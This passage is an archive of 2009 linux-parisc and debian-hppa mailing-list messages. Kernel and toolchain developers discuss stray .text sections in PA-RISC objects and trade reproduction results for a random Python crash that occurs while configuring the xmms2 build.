Approved: news@gmane.org
Message-ID: <20090820230114.36D3E4E7A@hiauly1.hia.nrc.ca>
References: <1250805049.4302.121.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250809286 28907 80.91.229.12 (20 Aug 2009 23:01:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 23:01:26 +0000 (UTC)
Cc: deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, dave.anglin@nrc.ca, roland@redhat.com
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 01:01:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeGdB-0003qR-CJ
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 01:01:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755181AbZHTXBO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 19:01:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755294AbZHTXBO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 19:01:14 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3571 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755181AbZHTXBN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 19:01:13 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 36D3E4E7A; Thu, 20 Aug 2009 19:01:13 -0400 (EDT)
In-Reply-To: <1250805049.4302.121.camel@mulgrave.site> from "James Bottomley" at Aug 20, 2009 03:50:49 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2055 gmane.linux.kernel:880298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2055>

> On Thu, 2009-08-20 at 23:45 +0200, Helge Deller wrote:
> > On 08/20/2009 08:55 PM, John David Anglin wrote:
> > >> The reason seems to be, that something in the newer gcc compilers changed to generate multiple sections all named ".text" for the PCREL17 relocations.
> > >> Older compilers named those sections ".text.1", ".text.2", ".text.3" and so forth.
> > >
> > > GCC has never generated ".text.1", etc, on parisc linux as far as I know.
> > 
> > Hmm, I don't like to disagree with an gcc-expert like you,but
> > I did pasted an objdump in my last mail, which shows that gcc did
> > generated .text.1, .text.2 and so on:
> > 
> > Sections:
> > Idx Name          Size      VMA       LMA       File off  Algn
> >    0 .text         00000000  00000000  00000000  00000034  2**0
> >                    CONTENTS, ALLOC, LOAD, READONLY, CODE
> > ...
> >    4 .text.1       00000000  00000000  00000000  000000b0  2**0
> >                    CONTENTS, ALLOC, LOAD, READONLY, CODE
> 
> Since this is a relinked object, might it be possible that ld rather
> than gcc is the culprit?

I think it must be from binutils.  It might be a result of broken
section merging.  Possibly, we don't merge .text sections when
doing ld -r so that stub sections could be interleaved.  Alan Modra
wrote that code and I'm not that familiar with it.

The GCC definition of TEXT_SECTION_ASM_OP in pa-linux.h has never changed.
The PA backend in GCC doesn't play any section games on linux targets,
so it's hard to see how this could happen.  Check the assembler output
from GCC if you don't believe me.

At some time, GCC may start a new .text section at the beginning of
each function.  We do this on hpux but not linux.  This will cause
multiple .text sections to be present in an object and allow finer grained
stub placement.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 16:23:57 -0700 (PDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20090820232357.934474730F@magilla.sf.frob.com>
References: <1250805049.4302.121.camel@mulgrave.site>
	<20090820230114.36D3E4E7A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250810671 32146 80.91.229.12 (20 Aug 2009 23:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 23:24:31 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com (James Bottomley),
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, dave.anglin@nrc.ca
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 01:24:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeGzX-0003Vm-79
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 01:24:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755517AbZHTXYT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 19:24:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755518AbZHTXYT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 19:24:19 -0400
Original-Received: from mx1-old.redhat.com ([66.187.233.31]:38073 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1755517AbZHTXYS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 19:24:18 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7KNO93L005947;
	Thu, 20 Aug 2009 19:24:09 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7KNO5fx023192;
	Thu, 20 Aug 2009 19:24:07 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 8F6DB357B; Thu, 20 Aug 2009 16:24:01 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 934474730F; Thu, 20 Aug 2009 16:23:57 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: John David Anglin's message of  Thursday, 20 August 2009 19:01:13 -0400 <20090820230114.36D3E4E7A@hiauly1.hia.nrc.ca>
X-Windows: the art of incompetence.
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2056 gmane.linux.kernel:880304
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2056>

> At some time, GCC may start a new .text section at the beginning of
> each function.  We do this on hpux but not linux.  This will cause
> multiple .text sections to be present in an object and allow finer grained
> stub placement.

arch/parisc/Makefile:

	# Without this, "ld -r" results in .text sections that are too big
	# (> 0x40000) for branches to reach stubs.
	ifndef CONFIG_FUNCTION_TRACER
	  cflags-y	+= -ffunction-sections
	endif
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 20:03:04 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20090821000304.AEDE64E09@hiauly1.hia.nrc.ca>
References: <20090820232357.934474730F@magilla.sf.frob.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250812998 5048 80.91.229.12 (21 Aug 2009 00:03:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 00:03:18 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, dave.anglin@nrc.ca
To: roland@redhat.com (Roland McGrath)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 02:03:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeHb3-00087j-Ld
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 02:03:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932068AbZHUADG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 20:03:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932084AbZHUADF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 20:03:05 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3584 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932068AbZHUADF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 20:03:05 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AEDE64E09; Thu, 20 Aug 2009 20:03:04 -0400 (EDT)
In-Reply-To: <20090820232357.934474730F@magilla.sf.frob.com> from "Roland McGrath" at Aug 20, 2009 04:23:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2057 gmane.linux.kernel:880311
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2057>

> arch/parisc/Makefile:
> 
> 	# Without this, "ld -r" results in .text sections that are too big
> 	# (> 0x40000) for branches to reach stubs.
> 	ifndef CONFIG_FUNCTION_TRACER
> 	  cflags-y	+= -ffunction-sections
> 	endif

Thus, the .text.* sections must be coming from .S files, or possibly
from dwarf2 debug output.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Reproducible random python crash.
Date: Fri, 21 Aug 2009 10:59:18 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <119aab440908210759g5cdc0f8dwbf1fed9554b3a836@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250866779 12224 80.91.229.12 (21 Aug 2009 14:59:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 14:59:39 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.ang
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 16:59:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeVaU-0004lx-5O
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 16:59:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932269AbZHUO70 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Aug 2009 10:59:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932280AbZHUO70
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Aug 2009 10:59:26 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.27]:24854 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932269AbZHUO7Z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Aug 2009 10:59:25 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 22so205573eye.37
        for <linux-parisc@vger.kernel.org>; Fri, 21 Aug 2009 07:59:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        bh=y6o9VNdwSR2/WiDnIvQQH7EugUfswVFBmOTtnLVpocA=;
        b=cZLIOmCgYsaSNLYZrdUvPBqfX14dwDxb0X/sa++vkK+V2X+atyVFOq2AEHKi0yCCkd
         Gt/qHmLc406EE/k7/zFEFMLXESeKWqaqoAkXD8cY+tSRJ7RpOLBXEeqj+YuHRm+3SgWl
         aqOVuZIHHxm/fjTtuN25gin/bi2QAoe5wt/xQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        b=QcckTrh66Nd+F++J/IKbFqyeM7HnrqLePb0Mfpi1voH0uey2ix/CDZOlwqQBlrWyH1
         xYJgE7Iqb33uzOp6dEfZCJxZpbWKmd9LH85319C8C/GQh68519w+YwaqOPa4ymTz15qo
         vwnFcnROW9tLb4+ZyTGUE2cnbKTpnieG+MoCQ=
Original-Received: by 10.216.85.2 with SMTP id t2mr232610wee.81.1250866758785; Fri, 21 
	Aug 2009 07:59:18 -0700 (PDT)
X-Google-Sender-Auth: 06959614054bfe8b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2058 gmane.linux.debian.ports.hppa:5956
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2058>

Kyle, Helge, John, James,

Could I get each of you to follow this recipe and tell me if python
crashes or hangs randomly during the execution of the last step?

Recipe:
mkdir -p ~/python-test
cd ~/python-test
apt-get update
apt-get build-dep xmms2
apt-get source xmms2
cd xmms2_0.6DrMattDestruction
./waf configure --nocache --prefix=/usr --with-mandir=/usr/share/man
--with-perl-archdir=/usr/lib/perl5 --with-perl-binary=/usr/bin/perl
--with-ruby-archdir=/usr/lib/ruby/1.8/hppa-linux
--with-ruby-libdir=/usr/lib/ruby/1.8 --without-optionals=python
--without-plugins=mac

Running the last step on a 2.6.26-1-parisc64-smp kernel results in
random behaviour ranging from sigsegv, sigill, sigtrap, and a hang.
Given that each of you might run it on a different kernel, I was
hoping to see if the behaviour is the same across different kernels.

Thanks!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Reproducible random python crash.
Date: Fri, 21 Aug 2009 11:43:48 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <119aab440908210843s3018469oe63680871da83685@mail.gmail.com>
References: <119aab440908210759g5cdc0f8dwbf1fed9554b3a836@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250869452 21876 80.91.229.12 (21 Aug 2009 15:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 15:44:12 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>, 
	Debian HPPA Port List <debian-hppa@lists.debian.org>, 
	James Bottomley <James.Bottomley@hansenpartnership.com>, 
	John David Anglin <dave.
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Aug 21 17:44:05 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeWHc-0001gE-T4
	for debian-hppa@m.gmane.org; Fri, 21 Aug 2009 17:44:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 8522C13A6580; Fri, 21 Aug 2009 15:44:04 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.3 required=4.0 tests=IMPRONONCABLE_2,LDO_WHITELIST,
	MURPHY_SEX_L5,SARE_MSGID_LONG40 autolearn=no version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id AC8CE13A61E6
	for <lists-debian-hppa@liszt.debian.org>; Fri, 21 Aug 2009 15:43:57 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-5.263 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, IMPRONONCABLE_2=1, LDO_WHITELIST=-5,
	MURPHY_SEX_L5=0.1, SARE_MSGID_LONG40=0.637] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id z8G7Boi5xiFh for <lists-debian-hppa@liszt.debian.org>;
	Fri, 21 Aug 2009 15:43:50 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.9
Original-Received: from mail-ew0-f224.google.com (mail-ew0-f224.google.com [209.85.219.224])
	by liszt.debian.org (Postfix) with ESMTP id 9F05213A5E42
	for <debian-hppa@lists.debian.org>; Fri, 21 Aug 2009 15:43:50 +0000 (UTC)
Original-Received: by ewy24 with SMTP id 24so802825ewy.23
        for <debian-hppa@lists.debian.org>; Fri, 21 Aug 2009 08:43:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to
         :content-type:content-transfer-encoding;
        bh=SQiJt7dEm3zVsLZEcqUJZDbt+YBTZJQexbD9bvGH4rU=;
        b=jRsArjiJFvpjPUJ6486kb5IMmOJ1YaThQcQYadrfXC6D+l5KubNFO+1nCvjl8ra3Q0
         OKl0AfOHv/hJJBB2fR3VLyR6vVcY1Ii2Vt61jTBZAK2iGpal9QunPogs7fVC3PI73kIV
         9Z463uPmmd3WK/bBUlucul7Aq9qMWL+KNac4Y=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=JzE+Ft4C8qHjoEYRn3TmeYE42tqHaXZhKxliAa2LeKoweX1nSlb6JINaCQXiEWzDSN
         hBH90OQySNvyyVp6uVP55ZmxoD7QKWc9zTHd5wlPEDpothXyduoeNKibqyMDqFc//qyU
         P9J6e/FsiGQkHt+0wPqVRuwlcdaipN8+MZyBI=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.216.19.210 with SMTP id n60mr241922wen.107.1250869428356; Fri, 
	21 Aug 2009 08:43:48 -0700 (PDT)
In-Reply-To: <119aab440908210759g5cdc0f8dwbf1fed9554b3a836@mail.gmail.com>
X-Google-Sender-Auth: e2b73e642fdd89d3
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <zKuM4o5EnGB.A.6UG.EDsjKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6953
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 21 Aug 2009 15:44:04 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5957 gmane.linux.ports.parisc:2059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2059>

On Fri, Aug 21, 2009 at 10:59 AM, Carlos
O'Donell<carlos@systemhalted.org> wrote:
> Could I get each of you to follow this recipe and tell me if python
> crashes or hangs randomly during the execution of the last step?
>
> Recipe:
> mkdir -p ~/python-test
> cd ~/python-test
> apt-get update
> apt-get build-dep xmms2
> apt-get source xmms2
> cd xmms2_0.6DrMattDestruction
> ./waf configure --nocache --prefix=/usr --with-mandir=/usr/share/man
> --with-perl-archdir=/usr/lib/perl5 --with-perl-binary=/usr/bin/perl
> --with-ruby-archdir=/usr/lib/ruby/1.8/hppa-linux
> --with-ruby-libdir=/usr/lib/ruby/1.8 --without-optionals=python
> --without-plugins=mac
>
> Running the last step on a 2.6.26-1-parisc64-smp kernel results in
> random behaviour ranging from sigsegv, sigill, sigtrap, and a hang.
> Given that each of you might run it on a different kernel, I was
> hoping to see if the behaviour is the same across different kernels.

On 2.6.31-rc2-00010-g22a5b0c-dirty (kyle's 4 CPU PA8800) I get a hang
and segfaults, the segfault is reproducible the hang happens every
once in a while.

Cheers,
Carlos.



From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Fri, 21 Aug 2009 10:01:57 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <1250870517.7363.104.camel@mulgrave.site>
References: <119aab440908210759g5cdc0f8dwbf1fed9554b3a836@mail.gmail.com>
	 <119aab440908210843s3018469oe63680871da83685@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250870530 26166 80.91.229.12 (21 Aug 2009 16:02:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 16:02:10 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 18:02:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeWZ0-0001kI-6p
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 18:02:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755333AbZHUQB7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Aug 2009 12:01:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755417AbZHUQB7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Aug 2009 12:01:59 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58386 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755333AbZHUQB6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Aug 2009 12:01:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6ECAE8EE197;
	Fri, 21 Aug 2009 09:02:00 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TKWVQTUdBoyK; Fri, 21 Aug 2009 09:02:00 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 019AA8EE17C;
	Fri, 21 Aug 2009 09:01:59 -0700 (PDT)
In-Reply-To: <119aab440908210843s3018469oe63680871da83685@mail.gmail.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2060 gmane.linux.debian.ports.hppa:5958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2060>

On Fri, 2009-08-21 at 11:43 -0400, Carlos O'Donell wrote:
> On Fri, Aug 21, 2009 at 10:59 AM, Carlos
> O'Donell<carlos@systemhalted.org> wrote:
> > Could I get each of you to follow this recipe and tell me if python
> > crashes or hangs randomly during the execution of the last step?
> >
> > Recipe:
> > mkdir -p ~/python-test
> > cd ~/python-test
> > apt-get update
> > apt-get build-dep xmms2
> > apt-get source xmms2
> > cd xmms2_0.6DrMattDestruction
> > ./waf configure --nocache --prefix=/usr --with-mandir=/usr/share/man
> > --with-perl-archdir=/usr/lib/perl5 --with-perl-binary=/usr/bin/perl
> > --with-ruby-archdir=/usr/lib/ruby/1.8/hppa-linux
> > --with-ruby-libdir=/usr/lib/ruby/1.8 --without-optionals=python
> > --without-plugins=mac
> >
> > Running the last step on a 2.6.26-1-parisc64-smp kernel results in
> > random behaviour ranging from sigsegv, sigill, sigtrap, and a hang.
> > Given that each of you might run it on a different kernel, I was
> > hoping to see if the behaviour is the same across different kernels.
> 
> On 2.6.31-rc2-00010-g22a5b0c-dirty (kyle's 4 CPU PA8800) I get a hang
> and segfaults, the segfault is reproducible the hang happens every
> once in a while.

Same here on ion (2.6.31-rc6).  (no hang seen, just segfaults in python)

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Fri, 21 Aug 2009 12:19:48 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20090821161949.67BA04E7B@hiauly1.hia.nrc.ca>
